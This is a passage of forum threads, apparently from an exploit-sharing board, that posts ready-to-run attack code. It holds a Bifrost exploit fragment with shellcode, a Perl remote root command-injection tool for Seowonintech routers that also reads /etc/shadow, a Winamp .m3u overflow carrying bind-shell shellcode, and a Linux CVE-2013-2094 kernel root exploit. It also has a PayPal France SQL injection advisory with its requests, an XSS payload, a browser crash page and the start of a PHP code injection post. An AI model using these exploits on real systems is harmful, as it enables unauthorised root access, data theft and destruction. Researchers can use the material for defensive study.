buf +="\xb1\x33\x31\x43\x12\x83\xeb\xfc\x03\x36\xdd\xbe\x72\x44"
buf +="\x09\xb7\x7d\xb4\xca\xa8\xf4\x51\xfb\xfa\x63\x12\xae\xca"
buf +="\xe0\x76\x43\xa0\xa5\x62\xd0\xc4\x61\x85\x51\x62\x54\xa8"
buf +="\x62\x42\x58\x66\xa0\xc4\x24\x74\xf5\x26\x14\xb7\x08\x26"
buf +="\x51\xa5\xe3\x7a\x0a\xa2\x56\x6b\x3f\xf6\x6a\x8a\xef\x7d"
buf +="\xd2\xf4\x8a\x41\xa7\x4e\x94\x91\x18\xc4\xde\x09\x12\x82"
buf +="\xfe\x28\xf7\xd0\xc3\x63\x7c\x22\xb7\x72\x54\x7a\x38\x45"
buf +="\x98\xd1\x07\x6a\x15\x2b\x4f\x4c\xc6\x5e\xbb\xaf\x7b\x59"
buf +="\x78\xd2\xa7\xec\x9d\x74\x23\x56\x46\x85\xe0\x01\x0d\x89"
buf +="\x4d\x45\x49\x8d\x50\x8a\xe1\xa9\xd9\x2d\x26\x38\x99\x09"
buf +="\xe2\x61\x79\x33\xb3\xcf\x2c\x4c\xa3\xb7\x91\xe8\xaf\x55"
buf +="\xc5\x8b\xed\x33\x18\x19\x88\x7a\x1a\x21\x93\x2c\x73\x10"
buf +="\x18\xa3\x04\xad\xcb\x80\xfb\xe7\x56\xa0\x93\xa1\x02\xf1"
buf +="\xf9\x51\xf9\x35\x04\xd2\x08\xc5\xf3\xca\x78\xc0\xb8\x4c"
buf +="\x90\xb8\xd1\x38\x96\x6f\xd1\x68\xf5\xee\x41\xf0\xd4\x95"
buf +="\xe1\x93\x28"
  
  
raw=(1000-533-len(egghunter))*"\x90"
raw2=(1000-8-len(buf))*"\x41"+"|"
command=30
  
  
tmp=hex(command).split("0x")[1]
data=tmp.decode("hex")+"F"*2+" "*511+xor+"C"*12+eip+"A"*8+egghunter+raw+"|"+" "*1000+"|"+"w00tw00t"+buf+raw2+random()
out=rc4crypt(data,key)
l=header(bif_len(str(hex(len(data))).split("0x")[1]))
out=l+out
  
  
data2="2192.168.1.1|Default|Mohamed Clay|Mohamed Clay|p1.2d||0|-1|0|0000|0|1|0|0|000000|C:\|C:\|C:\|MA|00000000|BifrosT v1.2d|"
out2=rc4crypt(data2,key)
l=header(bif_len(str(hex(len(data2))).split("0x")[1]))
out2=l+out2
  
th = threading.Thread(name='exploit', target=exploit)
th.setDaemon(True)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(out2)
th.start()
s.recv(1024)
print "\n[*] By : Mohamed Clay"
print "[*] Exploit completed\n"
Seowonintech Remote Root Exploit
ID: 67686ba3b4103b69df379d62
Thread ID: 24354
Created: 2013-06-27T11:27:40+0000
Last Post: 2013-06-27T11:27:40+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/perl
#       
#  [+] Seowonintech all device remote root exploit v2
# =====================================================
# author:                 | email:
# Todor Donev  (latin)    | todor dot donev 
# Òîäîð Äîíåâ  (cyrillic) | @googlemail.com    
# =====================================================
# type:    | platform:    | description:
# remote   | linux        | attacker can get root
# hardware | seowonintech | access on the device
# =====================================================
# greetings to:
# Stiliyan Angelov,Tsvetelina Emirska,all elite 
# colleagues and all my friends that support me. 
# =====================================================
# warning:
# Results about 37665 possible vulnerabilities
# from this exploit.
# =====================================================
# shodanhq dork: 
# thttpd/2.25b 29dec2003 Content-Length: 386 Date: 2013
# =====================================================
# P.S. Sorry for buggy perl.. :)
# 2o13 Hell yeah from Bulgaria, Sofia
#
#    Stop Monsanto Stop Monsanto Stop Monsanto
#
#       FREE GOTTFRID SVARTHOLM WARG FREE
# GOTTFRID SVARTHOLM WARG is THEPIRATEBAY co-founder 
# who was sentenced to two years in jail by Nacka 
# district court, Sweden on 18.06.2013 for hacking into
# computers at a company that manages data for Swedish
# authorities and making illegal online money transfers.
  
use LWP::Simple qw/$ua get/;
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
if(not defined $ARGV[0])
{
     usg();
     exit;
}
print "[+] Seowonintech all device remote root exploit\n";
$diagcheck = $host."/cgi-bin/diagnostic.cgi";
$syscheck = $host."/cgi-bin/system_config.cgi";
$res = $ua->get($diagcheck) || die "[-] Error: $!\n";
print "[+] Checking before attack..\n";
if($res->status_line != 200){
     print "[+] diagnostic.cgi Status: ".$res->status_line."\n";
     }else{
     print "[o] Victim is ready for attack.\n";
     print "[o] Status: ".$res->status_line."\n";  
     if(defined $res =~ m{selected>4</option>}sx){
     print "[+] Connected to $ARGV[0]\n";
     print "[+] The fight for the future Begins\n";
     print "[+] Exploiting via remote command execution..\n";
     print "[+] Permission granted, old friend.\n";
     &rce;
     }else{
     print "[!] Warning: possible vulnerability.\n";
     exit;
    }   
  }
$res1 = $ua->get($syscheck) || die "[-] Error: $!\n";
if($res1->status_line != 200){
     print "[+] system_config.cgi Status: ".$res1->status_line."\n";
     exit;
     }else{
     print "[+] Trying to attack via remote file disclosure release.\n";
     if(defined $syscheck =~ s/value=\'\/etc\/\'//gs){
     print "[+] Victim is ready for attack.\n";
     print "[+] Connected to $ARGV[0]\n";
     print "[o] Follow the white cat.\n";
     print "[+] Exploiting via remote file dislocure..\n";
     print "[+] You feeling lucky, Neo?\n";
     &rfd;
     }else{
     print "[!] Warning: Possible vulnerability. Believe the unbelievable!\n";
     exit;
    }
  }
sub rfd{
while(1){ 
     print "# cat ";
     chomp($file=<STDIN>);
     if($file eq ""){ print "Enter full path to file!\n"; }
     $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY";
     $data=get($bug) || die "[-] Error: $ARGV[0] $!\n";
     $data =~ s/Null/File not found!/gs;
     if (defined $data =~ m{rows="30">(.*?)</textarea>}sx){
     print $1."\n";
     }
   }
}
sub rce{
while(1){ 
     print "# ";
     chomp($rce=<STDIN>);
     $bug = $host."/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;".$rce.";&ping_count=1&action=Apply&html_view=ping";
     $rce =~ s/\|/\;/;
     if($rce eq ""){print "enter Linux command\n";}
     if($rce eq "clear"){system $^O eq 'MSWin32' ? 'cls' : 'clear';}
     if($rce eq "exit" || $rce eq "quit"){print "There is no spoon...\n"; exit;}
     $data=get($bug) || die "[-] Error: $!\n";
     if (defined $data =~ m{(\s.*) Content-type:}sx){
     $result = substr $1, index($1, ' loss') or substr $1, index($1, ' ms');
     $result =~ s/ loss\n//;     
     $result =~ s/ ms\n//;
     print $result;
    }
  }
}
sub usg
{
     print " [+] Seowonintech all device remote root exploit\n";
     print " [!] by Todor Donev todor dot donev @ googlemail.com\n";
     print " [?] usg: perl $0 <victim>\n";
     print " [?] exmp xpl USG: perl $0 192.168.1.1 :)\n";
     print " [1] exmp xpl RCE: # uname -a :)\n";
     print " [2] exmp xpl RFD: # cat /etc/webpasswd or /etc/shadow, maybe and /etc/passwd :P\n";
}
Winamp 5.12 (.m3u) - Stack Based Buffer Overflow
ID: 67686ba3b4103b69df379d63
Thread ID: 24319
Created: 2013-06-18T06:22:40+0000
Last Post: 2013-06-18T06:22:40+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: Winamp 5.12 .m3u stack based buffer overflow
# Date: 16 June 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.winamp.com/
# Software Link: http://www.oldapps.com/winamp.php?old_winamp=211
# Version: 5.12
# Tested on: Windows XP Professional SP2, English
# CVE: CVE-2006-0720
# BID: 16785
#
# Description from CVE-2006-0720
# Stack-based buffer overflow in Nullsoft Winamp 5.12 and 5.13 
# allows user-assisted attackers to cause a denial of service 
# (crash) and possibly execute arbitrary code via a crafted 
# .m3u file that causes an incorrect strncpy function call 
# when the player pauses or stops the file.
#
#
# 1. Launch Winamp
# 2. Drag boom.m3u into Winamp window 
# 3. Check for bind shell on port 28876
#
 
import struct
 
header =  "#EXTM3U\n"
header += "#EXTINF:1234,Pwnage Rock\n"
 
# NTDisplayString
egghunter = (
"\x90" * 64 +
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x43\x58" +
"\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" +
"\x77\x30\x30\x74" + # w00t
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" +
"\x90" * 30
)
 
junk = "\x41" * 262 + "\x90" * 100 + egghunter
 
# bind shell on port 28876
# https://code.google.com/p/w32-bind-ngs-shellcode/
# msfencode -i w32-bind-ngs-shellcode.bin -b "\x00\x0a\x0d\x5c"
# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
shellcode = (
"w00tw00t" + "\x90" * 239 +
"\xbf\x26\x63\xb2\x20\xda\xcc\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x36\x83\xea\xfc\x31\x7a\x10\x03\x7a\x10\xc4\x96\x83" +
"\xe9\x6c\xd2\x95\xd9\xe7\x92\x59\x91\x81\x46\xe9\xcb\x65" +
"\xfc\x93\x33\xfe\x34\x54\x7b\x18\x4c\x57\xd2\x70\x9c\xc8" +
"\xe6\xb2\x88\x90\x5e\xc5\x3b\x35\xe8\xa6\xb5\x5d\x9f\x5e" +
"\x70\x5e\x89\x52\x52\xad\x40\x8d\x73\xde\xf9\x10\x2d\x60" +
"\xaf\xc5\x9c\xe1\xa0\xc5\xba\xa9\xb5\x48\xff\xbe\x96\x6f" +
"\x87\xc1\xcd\x04\x3c\xe2\x10\xf3\x95\xd3\xc0\x41\x91\x20" +
"\x74\x44\x4b\xfc\x40\xea\xa7\x8c\x84\x36\xfb\x1f\xa0\x41" +
"\x3e\xc7\x3f\x46\x61\x8c\x8b\xbc\x9f\x7b\x04\x0b\x8b\x2a" +
"\x90\x38\xa8\xcd\x4f\x37\x38\xce\x8b\xd6\x12\x51\xad\xd1" +
"\x11\x5a\x5f\xbf\xdd\x09\xa0\xef\x89\x38\xde\x31\x45\x36" +
"\x6e\x13\x04\x47\x40\x06\xa9\x68\xf4\xd9\x79\x77\x08\x56" +
"\xb6\xed\xe7\x3f\x14\xa4\xf8\x6f\xe3\x87\x73\x77\xdd\xd5" +
"\x2e\xef\x7d\xb7\xaa\xcf\x0c\x3b\x17\x37\xa4\x6f\xfc\x81" +
"\xfd\x86\x02\x59\x85\x65\x21\x36\xdb\xc7\x7b\x7e\x9c\x08" +
"\x73\x29\x71\x85\xd3\x87\x8a\x7f\x38\xac\x33\x7c\x29\x78" +
"\x44\x83\x55"
)
 
# 022B368C , call ecx , C:\Progam Files\Winamp\pxsdkpls.dll
ret = struct.pack("<I", 0x022B368C)
 
# for some reason eip doesn't get overwritten and Winamp 
# crashes differently unless the 4th byte after ret is
# a 0xB0. there's probably an easier way to do this but 
# this is what the fuzzer found first so...
wtf = "\x43\x43\x43\xB0"
 
f = open("boom.m3u", "w")
f.write(header + junk + shellcode + ret + wtf)
f.close()
 
print "Created boom.m3u"
print "1. Open Winamp"
print "2. Drag boom.m3u into Winamp window"
print "3. Check for bind shell on port 28876"
CVE-2013-2094 exploit x86_64 Linux < 3.8.9
ID: 67686ba3b4103b69df379d64
Thread ID: 24304
Created: 2013-06-14T07:24:32+0000
Last Post: 2013-06-14T07:24:32+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

/*
 * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
 * by sorbo (sorbo@darkircop.org) June 2013
 *
 * Based on sd's exploit.  Supports more targets.
 *
 */
  
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>
  
#define BASE        0x380000000
#define BASE_JUMP   0x1780000000
#define SIZE        0x10000000
#define KSIZE       0x2000000
  
#define TMP(x) (0xdeadbeef + (x))
  
struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));
  
static int _fd;
  
static int perf_open(uint64_t off)
{
    struct perf_event_attr attr;
    int rc;
  
//  printf("perf open %lx [%d]\n", off, (int) off);
  
    memset(&attr, 0, sizeof(attr));
  
    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = off;
    attr.mmap           = 1;
    attr.comm           = 1;
    attr.exclude_kernel = 1;
  
    rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  
    return rc;
}
  
void __sc_start(void);
void __sc_next(void);
  
void __sc(void)
{
    asm("__sc_start:\n"
        "call __sc_next\n"
        "iretq\n"
        "__sc_next:\n");
}
  
void sc(void)
{
    int i, j;
    uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
    uint64_t kbase = ((uint64_t)current) >> 36;
    int uid = TMP(1);
    int gid = TMP(2);
  
    for (i = 0; i < 4000; i += 4) {
        uint64_t *p = (void *) ¤t[i];
        uint32_t *cred = (uint32_t*) p[0];
  
        if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
            continue;
  
        for (j = 0; j < 20; j++) {
            if (cred[j] == uid && cred[j + 1] == gid) {
                for (i = 0; i < 8; i++) {
                    cred[j + i] = 0;
                    return;
                }
            }
        }
    }
}
  
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
    void *p;
  
    p = memmem(sc, 900, &needle, sizeof(needle));
    if (!p)
        errx(1, "can't find %x", needle);
  
    memcpy(p, &val, sizeof(val));
}
  
static void *map_mem(uint64_t addr)
{
    void *p;
  
    p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
  
    if (p == MAP_FAILED)
        err(1, "mmap()");
  
    return p;
}
  
static int find_mem(void *mem, uint8_t c)
{
    int i;
    uint8_t *p = mem;
  
    for (i = 0; i < SIZE; i++) {
        if (p[i] == c)
            return i;
    }
  
    return -1;
}
  
static void dropshell()
{
    if (setuid(0) != 0)
        errx(1, "failed");
  
    printf("Launching shell\n");
  
    execl("/bin/sh", "sh", NULL);
    exit(0);
}
  
void morte(int x)
{
    printf("Got signal\n");
    close(_fd);
    dropshell();
}
  
static void trigger(int intr)
{
    switch (intr) {
    case 0:
        do {
            int z = 1;
            int a = 1;
  
            z--;
  
            a /= z;
        } while (0);
        break;
  
    case 4:
        asm("int $4");
        break;
  
    case 0x80:
        asm("int $0x80");
        break;
  
    default:
        errx(1, "unknown intr %d", intr);
    }
  
    sleep(3);
}
  
int main(int argc, char *argv[])
{
    uint32_t *p[2];
    int fd, i;
    uint64_t off;
    uint64_t addr = BASE;
    struct idt idt;
    uint8_t *kbase;
    int sz = 4;
    int intr = 4;
  
    printf("Searchin...\n");
  
    p[0] = map_mem(BASE);
    p[1] = map_mem(BASE_JUMP);
  
    memset(p[1], 0x69, SIZE);
  
    off = 0xFFFFFFFFL;
    fd = perf_open(off);
    close(fd);
  
    i = find_mem(p[0], 0xff);
    if (i == -1) {
        i = find_mem(p[1], 0x68);
  
        if (i == -1)
            errx(1, "Can't find overwrite");
  
        sz = 24;
        addr = BASE_JUMP;
        printf("detected CONFIG_JUMP_LABEL\n");
    }
  
    munmap(p[0], SIZE);
    munmap(p[1], SIZE);
  
    addr += i;
    addr -= off * sz;
  
    printf("perf_swevent_enabled is at 0x%lx\n", addr);
  
    asm("sidt %0" : "=m" (idt));
  
    printf("IDT at 0x%lx\n", idt.addr);
  
    off = addr - idt.addr;
    off -= 8;
  
    switch (off % sz) {
    case 0:
        intr = 0;
        break;
  
    case 8:
        intr = 0x80;
        break;
  
    case 16:
        intr = 4;
        break;
  
    default:
        errx(1, "remainder %d", off % sz);
    }
  
    printf("Using interrupt %d\n", intr);
  
    off -= 16 * intr;
  
    assert((off % sz) == 0);
  
    off /= sz;
    off = -off;
  
//  printf("Offset %lx\n", off);
  
    kbase = (uint8_t*) (idt.addr & 0xFF000000);
  
    printf("Shellcode at %p\n", kbase);
  
    if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
        err(1, "mmap()");
  
    memset(kbase, 0x90, KSIZE);
    kbase += KSIZE - 1024;
  
    i = __sc_next - __sc_start;
    memcpy(kbase, __sc_start, i);
    kbase += i;
    memcpy(kbase, sc, 900);
  
    sc_replace(kbase, TMP(1), getuid());
    sc_replace(kbase, TMP(2), getgid());
  
    signal(SIGALRM, morte);
    alarm(2);
  
    printf("Triggering sploit\n");
    _fd = perf_open(off);
  
    trigger(intr);
  
    exit(0);
}
PayPal France SQL Injection
ID: 67686ba3b4103b69df379d66
Thread ID: 24263
Created: 2013-06-03T07:18:32+0000
Last Post: 2013-06-03T07:18:32+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Title:

PayPal Bug Bounty #78 FR - SQL Injection Vulnerability

Date:

2013-05-24

References:

http://www.vulnerability-lab.com/get_content.php?id=878

PayPal Security UID: Sbc8fSB

VL-ID:

878

Common Vulnerability Scoring System:

7.6

Introduction:

PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]

Abstract:

The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerability in the official Paypal France Website Application.

Report-Timeline:

2013-02-17: Researcher Notification & Coordination
2013-02-18: Vendor Notification
2013-02-20: Vendor Response/Feedback
2013-05-01: Vendor Fix/Patch
2013-05-24: Public Disclosure

Status:

Published

Affected Products:

PayPal Inc
Product: France - Core Application 2013 Q1

Exploitation-Technique:

Remote

Severity:

High

Details:

A remote SQL Injection via POST request method is detected in the official PayPal France Service Web Application.
The vulnerability allows remote attackers to inject own sql statements to the affected web application dbms.

The vulnerability is located in the in the ajax_escape_perso_model (ajax query) when processing to request
via POST method the bound vulnerable escape_perso_delete id parameter. Manipulation of the POST request allows an
remote attacker to inject own sql commands and identify table names.

The vulnerability can be exploited by remote attackers with low privilege application user accounts without user interaction.
Successful exploitation of the vulnerability results in web application and dbms compromise via basic update sql injection.

Vulnerable Module(s):
[ + ] ajax_espace_perso_model

Vulnerable Parameter(s):
[ + ] espace_perso_delete > id

Proof of Concept:

The remote sql injection web vulnerability can be exploited by remote attackers with low privileged application
user account and without required user interaction. For demonstration or reproduce ...

Vulnerable Model:
ajax_espace_perso_model > vulnerable command > espace_perso_delete > vulnerable parametere id

Note:
While intercepting ajax queries, we remarks that delete command was vulnerable to SQL injection :
As you can see this command "espace_perso_delete" is used to delete contents records .
from the first view , we guess that query type was a delete SQL query , but using [5- SQL statements (information leak)]
we discovered that when we send a delete command ,the application get the id and turn detruit to yes.

detruit=Non --> in this case content is appear from dashboard liste
detruit=YEs --> in this case content is disappear from dashboard liste

Note: That mean the SQL query is an update SQL query that look like the following example :

update espaceperso set detruit="YES" where id= [SQLI]

Example:

POST /sifacile/index.php/ajax HTTP/1.1
Host: www.paypal-france.fr:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: /
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso
Content-Length: 65
Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484-

122691-2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253A

solution%2520finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; __utma=172493346.307986611.
1360320931.1360956215.1360959238.8; __utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|
utmctr=(not%20provided); source=businesshub; PHPSESSID=ddj17bn73qqkhljskcq0o17c43; s_sess=%20s_cc%3Dtrue%3B%20s_refresh
%3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 and nonexistcolumn=3333


Response :
Une erreur de base de données s'est produite.
Contactez l'administrateur

Note: As you can see in the POST request and we guess that the table name is espacepersoSQL2

POST /sifacile/index.php/ajax HTTP/1.1
Host: www.paypal-france.fr:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: /
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso
Content-Length: 65
Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484-122691-

2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253Asolution%2520
finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; __utma=172493346.307986611.1360320931.1360956215.1360959238.8;

__utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); source=businesshub;
PHPSESSID=ddj17bn73qqkhljskcq0o17c43; s_sess=%20s_cc%3Dtrue%3B%20s_refresh%3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 or image=3333


Response :

{"success":true,"result":{"status":"OK","data":"","code":1}}

Note: After some tests, we was able to identify if a given columnname is valid or not ...

Using this vulnerability ,we was able to

--> Bruteforce tables : 999999999999 or column=1
--> Bruteforce Columns : 999999999999 or tablename.column=1
--> Delete all contents: (using one query injection)
condition 999999999999 or id>0

Solution:

2013-05-01: Vendor Fix/Patch

Risk:

The security risk of the sql injection web vulnerability via update is estimated as high(+).

Credits:

Vulnerability Laboratory [Research Team] - Karim Boudra [kami@vulnerability-lab.com]

Disclaimer:

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability- lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability- lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2013 | Vulnerability Laboratory

--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com

Click to expand...

Hindi Browser 1.2 Denial Of Service
ID: 67686ba3b4103b69df379d67
Thread ID: 24262
Created: 2013-06-03T07:16:44+0000
Last Post: 2013-06-03T07:16:44+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: Hindi Browser Remote Crash Exploit
# Date: 06/01/2013
# Author: Nikhalesh Singh Bhadoria
# Twitter: @nikhaleshsingh
#Download Link: https://play.google.com/store/apps/details?id=com.hb&feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5oYiJd
# Version: 1.2
# Category:Remote 
# Tested On : Android 4.1.2
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Poc :-http://www.youtube.com/watch?v=nX0IveByeiw&feature=youtu.be

Code :-
#########################################
<html>
<body>
 
<script type="text/javascript">
 
var m_frame = "";
 
for(var i = 0; i < 600; i++)
{
 
  m_frame = document.createElement("iframe");
  m_frame.setAttribute("src", "market://a");
 
  document.body.appendChild(m_frame);
}
</script>
 
</body>
</html>

###########################################
Regard's
Nikhalesh Singh Bhadoria
Information Security Enthusiast
Website:Gurunsb.com
Elastix 2.4.0 Cross Site Scripting Vulnerability
ID: 67686ba3b4103b69df379d68
Thread ID: 24261
Created: 2013-06-03T06:37:31+0000
Last Post: 2013-06-03T06:37:31+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: elastix 2.4.0 XSS Vulnerability
# Date: 28/05/2013
# Exploit Author: cheki
# Vendor Homepage: elastix.org
# Software Link: http://www.elastix.org/index.php/en/downloads/main-distro.html
# Version: Elastix 2.4.0 Stable
# CVE : [not yet]
-------------------------------------------------------------------------------------
exploit: https://10.10.10.78/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)>
exploit2: https://10.10.10.78/libs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)>  
--------------------------------------------------------------------------------------
Vul Code:
-----------------------------------------------
<?php
 
define('MAGPIE_DIR', '../');
require_once(MAGPIE_DIR.'rss_fetch.inc');
 
$url = $_GET['url'];   //GET Parameter Without filter
 
if ( $url ) {
        $rss = fetch_rss( $url );
        echo "Channel: " . $rss->channel['title'] . "<p>";
        echo "<ul>";
        foreach ($rss->items as $item) {
                $href = $item['link'];
                $title = $item['title'];
                echo "<li><a href=$href>$title</a></li>";
        }
        echo "</ul>";
}
?>
--------------------------------------------------
FOR ELASTIX development team
 
$url = $_GET['url']; // LOL
$url = htmlspecialchars($_GET['url']);
 
-------------------------------------------------
PHP4DVD 2.0 Code Injection Vulnerability
ID: 67686ba3b4103b69df379d69
Thread ID: 24260
Created: 2013-06-03T06:37:04+0000
Last Post: 2013-06-03T06:37:04+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title   : PHP4DVD PHP Code Injection
# Date            : 31 May 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://php4dvd.sourceforge.net/
# Software Link   : http://downloads.sourceforge.net/project/php4dvd/php4dvd-2.0.zip
# Version         : 2.0
# Tested on       : Window and Linux
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /          
  / XXXXXX /
 (________(            
  `------'
 
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
 
/install/index.php (LINE: 151-180)
 
-----------------------------------------------------------------------------
LINE 151-173: 
    $config = "<?php" . $nl;
                 
    // Default language
